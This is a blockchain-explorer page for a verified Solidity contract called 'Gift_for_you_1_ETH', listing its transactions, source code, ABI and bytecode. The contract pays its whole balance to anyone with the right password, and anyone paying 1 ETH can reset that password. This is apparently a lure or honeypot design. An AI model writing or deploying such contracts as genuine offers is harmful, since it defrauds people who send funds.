ETH Price: $2,682.22 (+1.97%)
Gas: 1 Gwei

Contract

0x8bBF2d91E3c601DF2C71c4EE98e87351922F8AA7
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Get Gift152910452022-08-06 20:58:18735 days ago1659819498IN
0x8bBF2d91...1922F8AA7
0 ETH0.000166216.73007425
Get Gift49250142018-01-17 18:39:332397 days ago1516214373IN
0x8bBF2d91...1922F8AA7
0 ETH0.0010345541
Get Gift49249762018-01-17 18:31:352397 days ago1516213895IN
0x8bBF2d91...1922F8AA7
0 ETH0.0011413541
Get Gift49248942018-01-17 18:10:422397 days ago1516212642IN
0x8bBF2d91...1922F8AA7
0 ETH0.0009487441
Set Pass49248762018-01-17 18:06:322397 days ago1516212392IN
0x8bBF2d91...1922F8AA7
1 ETH0.0009791241
Get Gift45473812017-11-13 22:08:352462 days ago1510610915IN
0x8bBF2d91...1922F8AA7
0 ETH0.00010934
Get Gift45075222017-11-07 12:59:122468 days ago1510059552IN
0x8bBF2d91...1922F8AA7
0 ETH0.000148636
Transfer45020382017-11-06 15:42:452469 days ago1509982965IN
0x8bBF2d91...1922F8AA7
0 ETH0.00000210.1
Set Pass45019902017-11-06 15:30:012469 days ago1509982201IN
0x8bBF2d91...1922F8AA7
1 ETH0.000043851
0x6060604045017732017-11-06 14:40:332469 days ago1509979233IN
 Create: Gift_for_you_1_ETH
0 ETH0.00001790.06

Latest 2 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
49255192018-01-17 20:52:322397 days ago1516222352
0x8bBF2d91...1922F8AA7
2 ETH
49133112018-01-15 16:02:192399 days ago1516032139
0x8bBF2d91...1922F8AA7
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Gift_for_you_1_ETH

Compiler Version
v0.4.18+commit.9cf6e910

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2017-11-06
*/

pragma solidity ^0.4.18;

contract Gift_for_you_1_ETH
{
    bool passHasBeenSet = false;
    
    function()payable{}
    
    function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
    
    bytes32 public hashPass;
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }
    
    function GetGift(bytes pass)
    public
    payable
    {
        if(hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"SetPass","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"PassHasBeenSet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"hashPass","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetHash","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

606060405260008060006101000a81548160ff021916908315150217905550341561002957600080fd5b610383806100386000396000f30060606040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a6fbb051461006f578063181ffc5f1461008b57806331fd725a146100dd57806387f2448414610104578063b456ecc514610135575b005b6100896004808035600019169060200190919050506101ae565b005b6100db600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506101e6565b005b34156100e857600080fd5b6101026004808035600019169060200190919050506102b5565b005b341561010f57600080fd5b6101176102e5565b60405180826000191660001916815260200191505060405180910390f35b341561014057600080fd5b610190600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506102eb565b60405180826000191660001916815260200191505060405180910390f35b6000809054906101000a900460ff161580156101d25750670de0b6b3a76400003410155b156101e35780600181600019169055505b50565b806040518082805190602001908083835b60208310151561021c57805182526020820191506020810190506020830392506101f7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019166001546000191614156102b2573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156102b157600080fd5b5b50565b60015460001916816000191614156102e25760016000806101000a81548160ff0219169083151502179055505b50565b60015481565b6000816040518082805190602001908083835b60208310151561032357805182526020820191506020810190506020830392506102fe565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090509190505600a165627a7a72305820c1b6b8f6198d4492458c01c52ad98c45e33d62af23f4575ec842d8183ea4846e0029

Deployed Bytecode

0x60606040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a6fbb051461006f578063181ffc5f1461008b57806331fd725a146100dd57806387f2448414610104578063b456ecc514610135575b005b6100896004808035600019169060200190919050506101ae565b005b6100db600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506101e6565b005b34156100e857600080fd5b6101026004808035600019169060200190919050506102b5565b005b341561010f57600080fd5b6101176102e5565b60405180826000191660001916815260200191505060405180910390f35b341561014057600080fd5b610190600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506102eb565b60405180826000191660001916815260200191505060405180910390f35b6000809054906101000a900460ff161580156101d25750670de0b6b3a76400003410155b156101e35780600181600019169055505b50565b806040518082805190602001908083835b60208310151561021c57805182526020820191506020810190506020830392506101f7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019166001546000191614156102b2573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156102b157600080fd5b5b50565b60015460001916816000191614156102e25760016000806101000a81548160ff0219169083151502179055505b50565b60015481565b6000816040518082805190602001908083835b60208310151561032357805182526020820191506020810190506020830392506102fe565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090509190505600a165627a7a72305820c1b6b8f6198d4492458c01c52ad98c45e33d62af23f4575ec842d8183ea4846e0029

Swarm Source

bzzr://c1b6b8f6198d4492458c01c52ad98c45e33d62af23f4575ec842d8183ea4846e

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.